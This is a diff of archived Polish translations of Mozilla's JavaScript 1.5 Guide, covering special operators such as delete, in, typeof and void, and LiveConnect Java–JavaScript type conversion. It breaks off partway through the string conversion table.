+</p><p>Na przykład:
+</p>
+<pre>status = (age &gt;= 18) ? "adult" : "minor"
+</pre>
+<p>Ta instrukcja przydziela wartość <code>"adult"</code> do <code>status</code>, jeśli posiada osiemnaście lub więcej lat. Z drugiej strony przydzielasz <code>"minor"</code> do <code>status</code>.
+</p>
+<h4 id="Operator_przecinka" name="Operator_przecinka"> Operator przecinka </h4>
+<p>Operator przecinka, prosty poszukujący obu argumentów zwracających drugi argument. Ten operator początkowo używany był wewnątrz pętli <code>for</code>. Pozwalał wielokrotnie na aktualizację zmiennych, za każdym razem kiedy pętla jest wykonywana. </p><p>Na przykład, jeśli <code>a</code> jest 2-u wymiarową tablicą z 10 elementami na stronę, następujący operator przecinkowy to kod użytkownika będący przyrostem dwóch zmiennych na raz. Kod drukuje wartości diagonalne elementów w tablicy:
+</p>
+<pre>for (var i=0, j=9; i &lt;= 9; i++, j--)
+ document.writeln("a["+i+","+j+"]= " + a[i*10 +j])
+</pre>
+<p>Uwaga te dwuwymiarowe tablice są już nie wspierane. Ten przykład emuluje dwuwymiarowe tablice używając jedno wymiarowej tablicy.
+</p>
+<h4 id="delete" name="delete"> delete </h4>
+<p>Operator delete usuwa obiekty, własności obiektów, lub elementy określone w indeksie tablicy. Składnia:
+</p>
+<pre>delete objectName
+delete objectName.property
+delete objectName[index]
+delete property // legal only within a with statement
+</pre>
+<p>gdzie: <code>objectName</code> jest nazwą obiektu, <code>property</code> są to istniejące własności i <code>index</code> reprezentuje liczbę całkowita w lokalizacji z elementem tablicy. </p><p>Czwarta forma jest dopuszczalna tylko wewnątrz instrukcji <code>with</code>, aby usunąć własności z obiektu.
+</p><p>Możesz użyć operator <code>delete</code> do usunięcia zmiennych zadeklarowanych bez zastrzeżeń, ale nie te z deklaracją instrukcji <code>var</code>.
+</p><p>Jeśli operator <code>delete</code> jest prawidłowy, to ustawienia własności lub usuniętego elementu są nieczytelne (<code>undefined</code>). Operator <code>delete</code> zwraca true, jeśli operacja jest możliwa; zwraca <code>false</code>, jeżeli operacja nie jest możliwa. </p>
+<pre>x=42
+var y= 43
+myobj=new Number()
+myobj.h=4 // tworzy własności h
+delete x // zwraca true (potrafi usunąć, jeśli zadeklarujemy brak zastrzeżeń)
+delete y // zwraca false (nie potrafi usunąć jeśli zadeklarujemy z var)
+delete Math.PI // zwraca false (nie potrafi usunąć predefiniowanych własności)
+delete myobj.h // zwraca true (potrafi usunąć własności zdefiniowane przez użytkownika)
+delete myobj // zwraca true (potrafi usunąć, jeśli zadeklarujemy brak zastrzeżeń)
+</pre>
+<p><b>Usuwanie tablicy elementów</b><br>
+Kiedy operator delete usunie elementy tablicy, długość tablicy będzie nadal taka sama. Na przykład, jeśli usuniemy a{{ mediawiki.external(3) }}, a{{ mediawiki.external(4) }} to wciąż jest a{{ mediawiki.external(4) }} i a{{ mediawiki.external(3) }} ale niezdefiniowane.
+</p><p>Kiedy operator <code><b>delete</b></code> usuwa element, który jest elementem tablicowym, taki element nie jest dłuższy w tablicy. W następnym przykładzie, trees{{ mediawiki.external(3) }} jest usunięty z <code>delete</code>.
+</p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+delete trees[3]
+if (3 in trees) {
+ // to nie zadziała
+}
+</pre>
+<p>Jeśli chcesz, aby element tablicy istniał, ale masz nieznaną wartość, użyj słowa kluczowego <code>undefined</code> zamiast operatora <code>delete</code>. W następnym przykładzie, jest przydzielona niezidentyfikowana wartość <code>trees{{ mediawiki.external(3) }}</code>, ale element tablicy nadal istnieje: </p>
+<pre>trees=new Array("redwood","bay","cedar","oak","maple")
+trees[3]=undefined
+if (3 in trees) {
+ // to zadziała
+}
+</pre>
+<h4 id="in" name="in"> in </h4>
+<p>Operator <code>in</code> zwraca <code>true</code>, jeśli specyficzne właściwości są w specyficznym obiekcie. Składnia: </p>
+<pre>propNameOrNumber in objectName
+</pre>
+<p>gdzie: <code>propNameOrNumber</code> jest łańcuchem znaków lub wyrażeniem liczbowym reprezentującym własności nazwy lub index tablicy, <code>objectName</code> jest nazwą obiektu.
+</p><p>Następujący przykład używa operatora <code>in</code>.
+</p>
+<pre>// Tablice
+trees=new Array("redwood","bay","cedar","oak","maple")
+0 in trees // zwracają true
+3 in trees // zwracają true
+6 in trees // zwracają false
+"bay" in trees // zwracają false (musisz mieć specyficzny numer indeksu,
+ // nie ma wartości w tym indeksie)
+"length" in trees // zwracają true (długość jest własnością tablicy)
+
+// obiekty predefiniowane
+"PI" in Math // zwracają true
+myString=new String("coral")
+"length" in myString // zwracają true
+
+// obiekty użytkownika
+mycar = {make:"Honda",model:"Accord",year:1998}
+"make" in mycar // zwracają true
+"model" in mycar // zwracają true
+</pre>
+<h4 id="instanceof" name="instanceof"> instanceof </h4>
+<p>Operator <code>instanceof</code> zwraca <code>true</code>, jeśli konkretny obiekt jest obiektem konkretnego typu. Składnia: </p>
+<pre>objectName instanceof objectType
+</pre>
+<p>gdzie: <code>objectName</code> jest nazwą obiektu do porównania z <code>objectType</code> a <code>objectType</code> jest typem obiektu, jak naprzykład <code>Date</code> lub <code>Array</code>.
+</p><p>Używamy <code>instanceof</code>, kiedy potrzebujemy porównać typy uruchomionych obiektów. Na przykład, kiedy wystąpi wyjątek, to można, w zależności od zgłoszonego typu wyjątku rozgałęzić różną obsługę tego wyjątku.
+</p><p>Na przykład, następujący kod używa <code>instanceof</code> do określenia czy <code>theDay</code> jest obiektem <code>Date</code>. Ponieważ <code>theDay</code> jest obiektem <code>Date</code>, instrukcja w <code>if</code> jest wykonywana.
+</p>
+<pre>theDay=new Date(1995, 12, 17)
+if (theDay instanceof Date) {
+ // instrukcja do wykonania
+}
+</pre>
+<h4 id="new" name="new"> new </h4>
+<p>Użyj operatora <code>new</code>, aby utworzyć przykład definicji użytkownika typu obiektowego lub jednego z predefiniowanego typu obiektowego <code>Array, Boolean, Date, Function, Image, Number, Object, Option, RegExp</code>, lub <code>String</code>. Na serwerze możesz, używać także z <code>DbPool, Lock, File</code> lub <code>SendMail</code>. Użyj <code>new</code> w następującym kodzie:
+</p>
+<pre>objectName = new objectType ( param1 [,param2] ...[,paramN] )
+</pre>
+<p>Możemy także tworzyć obiekty używając inicjatorów obiektu opisanych na stronie <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Tworzenie_nowych_obiekt%c3%b3w/U%c5%bcywanie_inicjacji_obiektu">Używanie inicjacji obiektu</a>.
+</p><p>Zobacz więcej na temat <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Operatory/Operatory_specjalne/Operator_new">operatora new</a> w dokumentacji JavaScript.
+</p>
+<h4 id="this" name="this"> this </h4>
+<p>Użyj słowa kluczowego <code>this</code> do wskazania aktualnego obiektu. Generalnie, <code>this</code> wskazuje nazwę obiektu w metodzie. Używamy go następująco: </p>
+<pre>this[.propertyName]
+</pre>
+<p><b>Przykład 1.</b><br>
+Załóżmy że funkcja <code>validate</code> zatwierdza właściwą wartość, przekazując obiekt oraz górny i dolny zakres. </p>
+<pre>function validate(obj, lowval, hival) {
+ if ((obj.value &lt; lowval) || (obj.value &gt; hival))
+ alert("Invalid Value!")
+}
+</pre>
+<p>Teraz możesz wywoływać <code>validate</code> w każdym formularzu korzystając z zdarzenia <code>onChange</code>.
+Używamy <code>this</code> do przekazania elementu w formularz, tak jak w przykładzie:
+</p>
+<pre>&lt;B&gt;Wprowadź liczbę pomiędzy 18 i 99:&lt;/B&gt;
+&lt;INPUT TYPE = "text" NAME = "age" SIZE = 3
+ onChange="validate(this, 18, 99)"&gt;
+</pre>
+<p><b>Przykład 2.</b><br>
+Kiedy kombinujesz z własnościami <code>form</code>, zostaniesz skierowany do tymczasowego obiektu znajdującego się w obrębie tego formularza. W następującym przykładzie, formularz <code>myForm</code> składa się z obiektu <code>Text</code> i przycisku. Kiedy użytkownik kliknie w przycisk, wartość obiektu <code>Text</code> ustawia się na nazwę formularza. Przycisk zawiera zdarzenie <code>onClick</code> używane za pomocą uchwytu <code>this.form</code> do wywołania go w tym samym formularzu, <code>myForm</code>.
+</p>
+<pre>&lt;FORM NAME="myForm"&gt;
+Form name:&lt;INPUT TYPE="text" NAME="text1" VALUE="Beluga"&gt;
+&lt;P&gt;
+&lt;INPUT NAME="button1" TYPE="button" VALUE="Show Form Name"
+ onClick="this.form.text1.value=this.form.name"&gt;
+&lt;/FORM&gt;
+</pre>
+<h4 id="typeof" name="typeof"> typeof </h4>
+<p>Operator <code>typeof</code> jest użyty w jednej z dwóch sytuacji:
+</p>
+<pre>1. typeof operand
+2. typeof (operand)
+</pre>
+<p>Operator <code>typeof</code> zwraca łańcuch zwracający typ nie ocenionego argumentu. Argumentem (<code>operand</code>) jest łańcuch, zmienna, słowo kluczowe lub obiekt, dla którego ten typ będzie zwracany. Nawiasy są opcjonalne. </p><p>Przypuśćmy, że zdefiniujemy następujące zmienne: </p>
+<pre>var myFun = new Function("5+2")
+var shape="round"
+var size=1
+var today=new Date()
+</pre>
+<p>Operator <code>typeof</code> zwraca następujący rezultat dla tych zmiennych: </p>
+<pre>typeof myFun is function
+typeof shape is string
+typeof size is number
+typeof today is object
+typeof dontExist is undefined
+</pre>
+<p>Dla słowa kluczowego <code>true</code> i <code>null</code>, operator <code>typeof</code> zwraca następujący rezultat: </p>
+<pre>typeof true is boolean
+typeof null is object
+</pre>
+<p>Dla liczby lub łańcucha znaków, operator <code>typeof</code> zwraca następujący rezultat:
+</p>
+<pre>typeof 62 is number
+typeof 'Hello world' is string
+</pre>
+<p>Dla wartości własności, operator <code>typeof</code> zwraca właściwość stanowiącą typ zmiennej:
+</p>
+<pre>typeof document.lastModified is string
+typeof window.length is number
+typeof Math.LN2 is number
+</pre>
+<p>Dla metod lub funkcji, operator <code>typeof</code> zwraca następujący rezultat:
+</p>
+<pre>typeof blur is function
+typeof eval is function
+typeof parseInt is function
+typeof shape.split is function
+</pre>
+<p>Dla obiektów predefiniowanych, operator <code>typeof</code> zwraca następujący rezultat: </p>
+<pre>typeof Date is function
+typeof Function is function
+typeof Math is function
+typeof Option is function
+typeof String is function
+</pre>
+<h4 id="void" name="void"> void </h4>
+<p>Operator <code>void</code> jest użyty w jednym z następujących przypadków:
+</p>
+<pre>1. void (expression)
+2. void expression
+</pre>
+<p>Operator <code>void</code> określa wykonane wyrażenie bez zwracania wartości. <code>expression</code> jest wyrażeniem JavaScript do wykonania. Nawiasy otaczające wyrażenie są opcjonalne, jednak dobrym stylem jest ich stosowanie.
+</p><p>Możemy zastosować operator <code>void</code> do określenia wyrażenia jako hipertekstowy odnośnik. Wyrażenie jest wykonywane ale nie jest wczytywane w miejsce bieżącego dokumentu.
+</p><p>Następujący kod tworzy odnośnik hipertekstowy, który nic nie wywoła w momencie, kiedy użytkownik go kliknie. Kiedy użytkownik kliknie w odnośnik, to wykonane zostanie niezidentyfikowane wyrażenie <code>void(0)</code>, które nie ma żadnego efektu w języku JavaScript.
+</p>
+<pre>&lt;a href="javascript:void(0)"&gt;Kliknij tu, nie robiąc nic&lt;/a&gt;
+</pre>
+<p>Następujący kod tworzy odnośnik, który przedłoży (prześle) zawartość formularza w momencie, kiedy użytkownik naciśnie przycisk formularza.
+</p>
+<pre>&lt;a href="javascript:void(document.form.submit())"&gt;Kliknij tutaj, aby przesłać zawartość formularza&lt;/a&gt;
+</pre>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Operatory:Operacje na łańcuchach", "Przewodnik_po_j%C4%99zyku_JavaScript_1.5:Operatory#Pierwszeństwo_operatorów") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "es": "es/Gu\u00eda_JavaScript_1.5/Operadores/Operadores_especiales", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_sp\u00e9ciaux", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/Special_Operators", "ko": "ko/Core_JavaScript_1.5_Guide/Operators/Special_Operators" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/index.html
new file mode 100644
index 0000000000..2dd4acf285
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/index.html
@@ -0,0 +1,47 @@
+---
+title: Podgląd klas LiveConnect
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+---
+<p>
+</p>
+<h2 id="Podgl.C4.85d_klas_LiveConnect" name="Podgl.C4.85d_klas_LiveConnect"> Podgląd klas LiveConnect </h2>
+<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Praca_z_klas%c4%85_opakowuj%c4%85c%c4%85">Praca z klasą opakowującą</a>
+</dd></dl>
+<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java">Komunikacja między JavaScript a Java</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Obiekt_opakowuj.C4.85cy">Obiekt opakowujący</a>
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Praca_z_tablicami_w_Javie">Praca z tablicami w Javie</a>
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Referencja_paczki_i_klasy">Referencja paczki i klasy</a>
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Argumenty_typu_char">Argumenty typu char</a>
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_JavaScript_a_Java#Obs.C5.82uga_wyj.C4.85tk.C3.B3w_Javy_w_JavaScript">Obsługa wyjątków Javy w JavaScript</a>
+</dd></dl>
+</dd></dl>
+<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_Java_a_JavaScript">Komunikacja między Java a JavaScript</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Komunikacja_mi%c4%99dzy_Java_a_JavaScript/U%c5%bcywanie_klas_LiveConnect">Używanie klas LiveConnect</a>
+</dd></dl>
+</dd></dl>
+<dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych">Konwersja typu danych</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java">Konwersja JavaScript do Java</a>
+</dd></dl>
+</dd></dl>
+<dl><dd><dl><dd> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript">Konwersja Java do JavaScript</a>
+</dd></dl>
+</dd></dl>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/komunikacja_między_java_a_javascript/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/komunikacja_między_java_a_javascript/index.html
new file mode 100644
index 0000000000..67a367ab69
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/komunikacja_między_java_a_javascript/index.html
@@ -0,0 +1,39 @@
+---
+title: Komunikacja między Java a JavaScript
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Komunikacja_między_Java_a_JavaScript
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p>
+</p><p>Jeśli chcesz użyć obiektów JavaScript w Javie, musisz zaimportować pakiet <code>netscape.javascript</code> do Twojego pliku Javy. Pakiet ten definiuje następujące klasy:
+</p>
+<ul><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSObject">netscape.javascript.JSObject</a></code> pozwala kodowi Javy na dostęp do metod i własności JavaScript.
+</li><li> <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/LiveConnect/JSException">netscape.javascript.JSException</a></code> pozwala kodowi Javy obsługiwać błędy JavaScript.
+</li></ul>
+<p>Zobacz <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5">dokumentację języka JavaScript</a>, aby dowiedzieć się więcej o tych klasach.
+</p>
+<h3 id="Odnajdywanie_klas_LiveConnect" name="Odnajdywanie_klas_LiveConnect"> Odnajdywanie klas LiveConnect </h3>
+<p>W starszych wersjach Netscapa klasy te były rozpowszechniane razem z przeglądarką. Począwszy od JavaScript 1.2 powyższe klasy są dostarczane w pliku .jar file; w poprzednich wersjach JavaScriptu był one dostarczane w pliku .zip. Przykładowo, wraz z Netscape Navigator 4 dla Windows NT, klasy były dystrybuowane w pliku <code>java40.jar</code> w katalogu <code>Program\Java\Classes</code> wewnątrz katalogu przeglądarki.
+</p><p>Nieco później klasy zaczęto rozpowszechniać ze środowiskiem Sun Java Runtime; początkowo w pliku "jaws.jar" w katalogu "jre/lib" dystrybucji (dla JRE 1.3), a następnie w "plugin.jar" w tym samym katalogu (JRE 1.4 i kolejne).
+</p>
+<h3 id="U.C5.BCywanie_klas_LiveConnect_z_JDK" name="U.C5.BCywanie_klas_LiveConnect_z_JDK"> Używanie klas LiveConnect z JDK </h3>
+<p>Aby uzyskać dostęp do klas LiveConnect, umieść plik .jar lub .zip w <code>CLASSPATH</code> kompilatora JDK w jeden z następujących sposobów:
+</p>
+<ul><li> Utwórz zmienną środowiskową <code>CLASSPATH</code>, aby określić ścieżkę i nazwę pliku .jar lub .zip.
+</li><li> Określ lokalizację pliku .jar lub .zip, gdy kompilujesz używając parametru <code>-classpath</code> linii poleceń.
+</li></ul>
+<p>Możesz określić zmienną środowiskową w systemie Windows NT poprzez dwukrotne kliknięcie ikony System w Panelu Sterowania i utworzenie zmiennej środowiskowej o nazwie <code>CLASSPATH</code> z wartością podobną do poniższej:
+</p>
+<pre class="eval">C:\Program Files\Java\jre1.4.1\lib\plugin.jar
+</pre>
+<p>Zobacz dokumentację JDK documentation, aby uzyskać więcej informacji o <code>CLASSPATH</code>.
+</p><p><b>Uwaga:</b> Ponieważ Java jest językiem o silnej typizacji, zaś JavaScript językiem o typizacji słabej, gdy używasz LiveConnecta silnik JavaScriptu konwertuje wartości argumentu do odpowiednich typów danych drugiego języka. Zobacz artykuł o <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych">konwersji typu danych</a>, aby uzyskać pełne informacje.
+</p><p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Komunikacja między JavaScript a Java", "Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Komunikacja między Java a JavaScript:Używanie klas LiveConnect") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Comunicaci\u00f3n_de_Java_con_JavaScript", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/index.html
new file mode 100644
index 0000000000..18a30fa8e9
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/index.html
@@ -0,0 +1,24 @@
+---
+title: Konwersja typu danych
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p>
+</p>
+<h3 id="Konwersja_typu_danych" name="Konwersja_typu_danych"> Konwersja typu danych </h3>
+<p>Ponieważ Java jest językiem o silnej typizacji, zaś JavaScript językiem o typizacji słabej, gdy używasz LiveConnecta silnik JavaScriptu konwertuje wartości argumentu do odpowiednich typów danych drugiego języka. Konwersje te zostały opisane w poniższych sekcjach:
+</p>
+<ul><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java">Konwersja z JavaScriptu do Javy</a>
+</li><li> <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Podgl%c4%85d_klas_LiveConnect/Konwersja_typu_danych/Konwersja_Java_do_JavaScript">Konwersja z Javy do JavaScriptu</a>
+</li></ul>
+<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Komunikacja między Java a JavaScript:Używanie klas LiveConnect", "Przewodnik po języku JavaScript 1.5:Podgląd klas LiveConnect:Konwersja typu danych:Konwersja JavaScript do Java") }}
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Conversiones_de_tipos_de_datos", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Data_Type_Conversions" } ) }}
diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/konwersja_javascript_do_java/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/konwersja_javascript_do_java/index.html
new file mode 100644
index 0000000000..04848bc653
--- /dev/null
+++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/podgląd_klas_liveconnect/konwersja_typu_danych/konwersja_javascript_do_java/index.html
@@ -0,0 +1,320 @@
+---
+title: Konwersja JavaScript do Java
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Podgląd_klas_LiveConnect/Konwersja_typu_danych/Konwersja_JavaScript_do_Java
+tags:
+ - JavaScript
+ - Przewodnik_JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p>
+</p>
+<h3 id="Konwersja_JavaScript_do_Java" name="Konwersja_JavaScript_do_Java"> Konwersja JavaScript do Java </h3>
+<p>Kiedy wywołujesz metody Java i zmieniasz parametry z JavaScript, typ danych tych parametrów zmienione zostaną konwertowane stosownie do opisanych reguł w następujących tematach: </p>
+<ul><li> {{ Anch("Wartości liczbowe") }}
+</li><li> {{ Anch("Wartości Boolean") }}
+</li><li> {{ Anch("Wartości String") }}
+</li><li> {{ Anch("Wartości niezidentyfikowane") }}
+</li><li> {{ Anch("Wartości Null") }}
+</li><li> {{ Anch("Obiekty JavaArray i JavaObject") }}
+</li><li> {{ Anch("Obiekty JavaClass") }}
+</li><li> {{ Anch("Inne obiekty JavaScript") }}
+</li></ul>
+<p>Zwraca wartości metod <code>netscape.javascript.JSObject</code>, które są zawsze konwertowane do przykładu <code><b>java.lang.Object</b></code>. Reguły konwersji, które zwracają wartość są także opisane w tym temacie. </p><p>Na przykład, jeśli zwraca numer JavaScript <code>JSObject.eval</code>, możesz znaleźć reguły konwersji tegoż numeru do numeru <code>java.lang.Object</code> w {{ Anch("wartości liczbowe") }}.
+</p>
+<h4 id="Warto.C5.9Bci_liczbowe" name="Warto.C5.9Bci_liczbowe"> Wartości liczbowe </h4>
+<p>Kiedy w JavaScript typ Number zmienisz na jako parametry metod Java, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p><p><br>
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td>double</td>
+<td>* Dokładne wartości są transferowane do Javy bez zaokrąglonych i bez straconych wielkości lub znaku . <ul><li> NaN jest konwertowane do NaN.</li></ul></td> </tr>
+<tr>
+<td>java.lang.Double<br>
+java.lang.Object</td>
+<td>Nowy przykład <code>java.lang.Double</code> jest tworzony i dokładna wartość jest transferowana do Java bez zaokrągleń i bez straconej wielkości lub znaku.</td>
+</tr>
+<tr>
+<td><b>float</b></td>
+<td>* Wartości <b>float</b> są dokładnie zaokrąglane.
+<ul><li> Wartości, które są zbyt za duże lub za małe, aby być prezentowanym są zaokrąglane do +nieskończoności lub -nieskończoności.
+</li><li> NaN jest konwertowany do NaN.</li></ul></td> </tr>
+<tr>
+<td><b>byte</b><br>
+<p><b>char</b><br>
+<b>int</b><br>
+<b>long</b><br>
+</p>
+<b>short</b></td>
+<td>* Wartości są okrążane przy użyciu trybu round-to-negative-infinity.
+<ul><li> Wartości które są też duże lub małe reprezentuje rezultat w błędzie run-time.
+</li><li> NaN nie może być konwertowany, czego rezultatem jest błąd run-time.</li></ul></td> </tr>
+<tr>
+<td>java.lang.String</td>
+<td>Wartości są konwertowane do łańcucha znaków. Na przykład:
+<ul><li> 237 staje się "237"</li></ul></td> </tr>
+<tr>
+<td>boolean</td>
+<td>* Wartości 0 i NaN są konwertowanie do false.
+<ul><li> Inne wartości są konwertowane do true.</li></ul></td> </tr>
+</tbody></table>
+<p>Kiedy liczba JavaScript przechodzi jako parametr metody Java, która oczekuje przykładu z <code>java.lang.String</code>, numer jest konwertowany do łańcucha znaków. Użyj metody <code>equals()</code> do porównania rezultatów tej konwersji z innymi wartościami łańcuchów znaków.
+</p>
+<h4 id="Warto.C5.9Bci_logiczne" name="Warto.C5.9Bci_logiczne"> Wartości logiczne </h4>
+<p>Kiedy w JavaScript typ Boolean zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td>boolean</td>
+<td>Wszystkie wartości są konwertowane w kierunku wyposażenia Javy.</td>
+</tr>
+<tr>
+<td>lava.lang.Boolean<br>
+java.lang.Object</td>
+<td>Nowy przykład <code>java.lang.Boolean</code> jest utworzony. Każdy parametr tworzy nowy przykład, nie jeden przykład z tymi samymi prymitywnymi wartościami.</td>
+</tr>
+<tr>
+<td>java.lang.String</td>
+<td>Wartości są konwertowane do łańcuchów znaków. Na przykład:
+<ul><li> true staje się "true"
+</li><li> false staje się "false"</li></ul></td> </tr>
+<tr>
+<td>byte<br>
+<p>char<br>
+double<br>
+float<br>
+int<br>
+long<br>
+</p>
+short</td>
+<td>* true staje się 1
+<ul><li> false staje się 0</li></ul></td> </tr>
+</tbody></table>
+<p>Kiedy zmienimy JavaScript wartość boolean, który jest jako parametr do metod Javy, oczekuje przykładu <code>java.lang.String</code>, wartość boolean jest konwertowana do wartości string. Użyj operatora <code>==</code> do porównania rezultatów tej konwersji z innymi wartościami string.
+</p>
+<h4 id="Warto.C5.9B.C4.87_String" name="Warto.C5.9B.C4.87_String"> Wartość String </h4>
+<p>Kiedy w JavaScript typ string zmienisz na parametry metod Javy, Java konwertuje wartości stosownie do zasad opisanych w następującej tabeli: </p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Java typ parametru</th>
+<th>Zasady konwersji</th>
+</tr>
+<tr>
+<td><b>java.lang.String</b><br>
+<b>java.lang.Object</b></td>
+<td>JavaScript 1.4:
+<ul><li> Łańcuch JavaScript jest konwertowany przykładem java.lang.String z wartościami Unicode.<br>
+</li></ul>
+<p>JavaScript 1.3 i wcześniejsze:
+</p>
